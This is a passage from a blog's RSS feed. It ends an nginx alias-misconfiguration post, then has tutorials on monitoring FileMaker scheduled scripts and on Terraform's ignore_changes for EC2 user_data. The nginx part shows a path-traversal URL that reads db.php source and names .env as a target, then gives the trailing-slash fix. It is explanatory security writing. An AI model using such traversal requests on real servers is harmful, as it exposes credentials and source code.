&lt;p&gt;If we open &lt;code&gt;http://127.0.0.1:8081/assets../app/db.php&lt;/code&gt; we can force a directory traversal and access files in a directory one level down. For our demo app this means we can access the source code of &lt;code&gt;db.php&lt;/code&gt;, a sensitive file outside of the webroot. Here, &lt;code&gt;/assets../app/db.php&lt;/code&gt; effectively becomes &lt;code&gt;/var/www/webapp/static/../app/db.php&lt;/code&gt;.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 Note that attempts to force &amp;ldquo;regular&amp;rdquo; directory traversals in a requested path, as in &lt;code&gt;/../&lt;/code&gt;, are obviously prevented by default.
&lt;/div&gt;

&lt;p&gt;&lt;img alt="nginx slash traversal" loading="lazy" src="https://davidhamann.de/images/nginx_alias_traversal.png"&gt;&lt;/p&gt;
&lt;p&gt;While we could of course prevent the PHP source code from being returned vs. evaluated, this would not change the fact that we could still access other files one directory down – for example something like &lt;code&gt;/assets../app/.env&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The fix here is to make sure to always set the full path in the location directive, as in &lt;code&gt;location /assets/&lt;/code&gt; (note the trailing slash).&lt;/p&gt;
&lt;h2 id="the-files"&gt;The files&lt;/h2&gt;
&lt;p&gt;You can access the demo files via this &lt;a href="https://gist.github.com/davidhamann/f589b434071bb7e2a1502643d1dcd8fb"&gt;GitHub gist&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>Monitoring FileMaker scheduled scripts</title><link>https://davidhamann.de/2022/08/12/monitor-filemaker-scheduled-scripts/</link><pubDate>Fri, 12 Aug 2022 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2022/08/12/monitor-filemaker-scheduled-scripts/</guid><description>&lt;p&gt;In this tutorial I want to describe how you can setup immediate notifications whenever your scheduled FileMaker scripts stop running – for example due to a crashed FileMaker scripting engine, an error in your script or just general server downtime.&lt;/p&gt;
&lt;p&gt;I will be using &lt;a href="https://allgood.systems"&gt;allgood.systems&lt;/a&gt;, a monitoring platform &lt;a href="https://davidhamann.de/2022/04/09/monitoring-cronjobs-websites/"&gt;I recently built&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="creating-a-new-job-monitor"&gt;Creating a new Job Monitor&lt;/h2&gt;
&lt;p&gt;Once you have registered on &lt;a href="https://allgood.systems"&gt;allgood.systems&lt;/a&gt; you can navigate to the &amp;ldquo;Job Monitors&amp;rdquo; tab to create a new monitor for the FileMaker script you would like to get notifications for.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Adding a new job monitor" loading="lazy" src="https://davidhamann.de/images/allgood_add_jobmonitor.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Configuring job monitor" loading="lazy" src="https://davidhamann.de/images/allgood_jobmonitor_form.png"&gt;&lt;/p&gt;
&lt;p&gt;We can give the monitor a name for reference and then set a check-in interval.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s say our script is scheduled to run every 60 minutes. Accounting for some delays and runtime, it makes sense to define a custom check-in interval of 65 minutes.&lt;/p&gt;
&lt;p&gt;Our plan here is to get notified if and when the scheduled FileMaker script does not run in a timeframe of 65 minutes.&lt;/p&gt;
&lt;p&gt;Leaving the other options as default, we can click &amp;ldquo;Save&amp;rdquo;.&lt;/p&gt;
&lt;h2 id="integrating-the-check-in-url"&gt;Integrating the check-in URL&lt;/h2&gt;
&lt;p&gt;After adding the monitor it will have a &amp;ldquo;Started&amp;rdquo; status. This means it is active but has not yet received a check-in or detected any downtime.&lt;/p&gt;
&lt;p&gt;Clicking on the monitor will reveal its &amp;ldquo;check-in URL&amp;rdquo;. Copy the link to your clipboard and then head over to your FileMaker script.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Copying the check-in URL" loading="lazy" src="https://davidhamann.de/images/allgood_jobmonitor_url.png"&gt;&lt;/p&gt;
&lt;p&gt;Generally, it makes sense to let your script check in after it has successfully performed its tasks. Let&amp;rsquo;s go ahead and add an &lt;code&gt;Insert From URL&lt;/code&gt; step near the end of the script.&lt;/p&gt;
&lt;p&gt;For our demo monitor configured above this step could look like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# check-in at allgood

Insert from URL [ Select ; With dialog: Off ; Target: $result ; &amp;#34;https://ping.allgood.systems/l/j/phY3K0ADSMadoohzFs0Xaw&amp;#34; ; Verify SSL Certificates ] 
Exit Script [ Text Result: True ] 
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Every time your script is run you should now see a check-in entry on allgood. And if there&amp;rsquo;s ever the situation where no check-in happens in the defined interval (no matter what the cause is), you will get a notification based on your settings on allgood (an email by default).&lt;/p&gt;
&lt;p&gt;&lt;img alt="Verifying the check-in on allgood" loading="lazy" src="https://davidhamann.de/images/allgood_jobmonitor_checkin.png"&gt;&lt;/p&gt;
&lt;h2 id="want-more"&gt;Want more?&lt;/h2&gt;
&lt;p&gt;In the same way as described above you could also add so-called &amp;ldquo;Trap Monitors&amp;rdquo;. In this case you would place the URL-triggers in places which you think are executed very rarely (for example edge-cases in your scripts). If those rare cases happen, you want to know immediately. Thus, with &amp;ldquo;Trap Monitors&amp;rdquo; you will get a notification on every (!) check-in.&lt;/p&gt;
&lt;p&gt;Additionally, to just monitor the uptime of your FileMaker Server itself, you can do so with &amp;ldquo;Net Monitors&amp;rdquo; – either by checking if the server responds on port 5003, if the WebDirect/Data API/welcome page responds as expected or if your domain resolves successfully. As an extra you will also get reminders when your SSL/TLS certificates are about to expire. See &lt;a href="https://docs.allgood.systems"&gt;the documentation&lt;/a&gt; for more information.&lt;/p&gt;
&lt;p&gt;Have any more questions? Feel free to reach out.&lt;/p&gt;</description></item><item><title>Terraform: Change EC2 user_data without recreating instance</title><link>https://davidhamann.de/2022/06/09/terraform-change-ec2-user-data-without-recreation/</link><pubDate>Thu, 09 Jun 2022 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2022/06/09/terraform-change-ec2-user-data-without-recreation/</guid><description>&lt;p&gt;When you have set up your infrastructure with Terraform and then do any change to the &lt;code&gt;user_data&lt;/code&gt; of a EC2 instance, Terraform will detect the change and generally do a force-replacement of the instance. In the planning stage this could look something like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; # aws_instance.web_backend must be replaced
-/+ resource &amp;#34;aws_instance&amp;#34; &amp;#34;web_backend&amp;#34; {
 [...]
 ~ user_data = &amp;#34;1c4e236bd5dec74fecc99d3a3d57679b9b12a927&amp;#34; -&amp;gt; &amp;#34;f8d9add08d4ead74d44af35452c6070dbfcb1576&amp;#34; # forces replacement
 + user_data_base64 = (known after apply)
 [...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So what can you do when you want to make changes to &lt;code&gt;user_data&lt;/code&gt; but don&amp;rsquo;t want to destroy your instance and create a new one?&lt;/p&gt;
&lt;p&gt;For this case there is a &lt;a href="https://www.terraform.io/language/meta-arguments/lifecycle"&gt;&lt;code&gt;lifecycle&lt;/code&gt; meta-argument&lt;/a&gt; in which you can customize certain resource behaviours.&lt;/p&gt;
&lt;p&gt;The argument we are looking for is &lt;code&gt;ignore_changes&lt;/code&gt;. You can declare this to tell Terraform to ignore changes to certain attributes of a resource that occur after its creation.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;user_data&lt;/code&gt; of a EC2 instance is just an example here – you may use it for any other data as well. But sticking with this example, let&amp;rsquo;s see how our modified EC2 instance could look like:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;resource &amp;#34;aws_instance&amp;#34; &amp;#34;web_backend&amp;#34; {
 [...]
 user_data = local.ec2_user_data

 # don&amp;#39;t force-recreate instance if only user data changes
 lifecycle {
 ignore_changes = [user_data]
 }
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Making changes to &lt;code&gt;user_data&lt;/code&gt; and then running &lt;code&gt;terraform plan&lt;/code&gt; again, you will see that Terraform won&amp;rsquo;t pick up the change and thus won&amp;rsquo;t tell you that the resource must be replaced.&lt;/p&gt;</description></item></channel></rss>